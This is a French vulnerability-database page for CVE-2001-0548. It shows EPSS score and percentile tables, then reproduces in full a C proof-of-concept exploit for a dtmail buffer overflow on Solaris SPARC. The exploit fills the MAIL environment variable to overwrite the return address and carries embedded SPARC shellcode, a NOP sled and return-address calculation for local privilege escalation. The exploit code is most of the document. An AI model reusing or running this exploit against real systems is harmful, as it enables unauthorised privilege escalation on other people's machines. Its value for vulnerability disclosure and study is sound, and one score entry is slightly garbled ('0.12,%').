CVE-2001-0548 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.12%
2025-03-30	–	–	–	–	0.12%
2025-04-15	–	–	–	–	0.12%
2025-04-15	–	–	–	–	0.12,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	29%
2025-03-30	28%
2025-04-15	33%
2025-04-15	33%

// source: https://www.securityfocus.com/bid/3081/info dtmail is an application included with the Common Desktop Environment, one of the X Window Managers included with Solaris. A buffer overflow in dtmail makes it possible for a local user to gain elevated privileges. Due to improper bounds checking, it is possible to cause a buffer overflow in dtmail by filling the MAIL environment variable with 2000 or more characters. This results in the overwriting of stack variables, including the return address, and can allow a local user to gain an effective GID of mail. /* * sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL overflow bug. * * Copyright (c) 2001 - Nsfocus.com * * It will run "/bin/id" if the exploit succeed. * Tested in Solaris 2.6/7 (SPARC). * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <sys/systeminfo.h> #include <pwd.h> struct passwd *pwd;; #define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */ #define DISPENV "DISPLAY=127.0.0.1:0.0" #define VULPROG "/usr/dt/bin/dtmail" #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ char shellcode[] = "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e" "\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec" "\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; /* get current stack point address */ long get_sp(void) { __asm__("mov %sp,%i0"); } long get_shelladdr(long sp_addr, char **arg, char **env, long off) { long retaddr; int i; char plat[256]; char pad = 0, pad1 = 0, pad2; int env_len, arg_len, len; while (1) { /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i] != NULL; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 3 - arg_len % 4; memset(env[0], 'A', pad); env[0][pad] = '\0'; memset(env[2], 'A', pad1); env[2][pad1] = '\0'; /* get environ length */ for (i = 0, env_len = 0; env[i] != NULL; i++) { env_len += strlen(env[i]) + 1; } /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; pad2 = 4 - len % 4; /* get the exact shellcode address */ retaddr = sp_addr - pad2 /* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1; for (i--; i > 0; i--) retaddr -= strlen(env[i]) + 1; if (!((retaddr + off) & 0xff)) { pad1 += 8; continue; } else if ((retaddr + off) % 8) { pad1 += 4; continue; } else break; } return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[4096], home[128], display[256]; char eggbuf[2048]; long retaddr, sp_addr = SP; char *arg[24], *env[24], *cwd, *charptr; char padding[64], padding1[64]; unsigned int *ptr; char *disp; char ev1[] = "MAIL="; long ev1_len, i, align; long overbuflen = 2048; if (argc > 1) snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]); else { disp = getenv("DISPLAY"); if (disp) snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp); else strncpy(display, DISPENV, sizeof(display) - 1); } pwd = getpwuid((uid_t) getuid()); snprintf(home, 127, "HOME=%s", strdup(pwd->pw_dir)); arg[0] = VULPROG; arg[1] = NULL; cwd = getcwd((char *) NULL, 256); overbuflen = overbuflen - (strlen(cwd) + strlen("/")); ev1_len = strlen(ev1); bzero(buf, sizeof(buf)); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen); bzero(eggbuf, sizeof(eggbuf)); ptr = (unsigned int *) eggbuf; for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4) *(ptr + i / 4) = NOP; memcpy(eggbuf + i - 4, shellcode, strlen(shellcode)); env[0] = padding; /* put padding buffer in env */ env[1] = eggbuf; /* put shellcode in env */ env[2] = padding1; /* put padding1 buffer in env */ env[3] = buf; /* put overflow environ */ env[4] = display; /* put display environ */ env[5] = home; /* put home environ */ env[6] = NULL; /* end of env */ /* get stack bottom address */ if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; } retaddr = get_shelladdr(sp_addr, arg, env, -8); retaddr -= 8; printf("Using return address = 0x%x (shelladdrr - 8)\n", retaddr); printf("Click Local in your X window\n\n"); charptr = (char *) &retaddr; align = 4 - ((strlen(cwd) + strlen("/")) % 4); for (i = 0; i < overbuflen - align; i++) buf[ev1_len + align + i] = *(charptr + i % 4); execve(VULPROG, arg, env); perror("execle"); } /* End of main */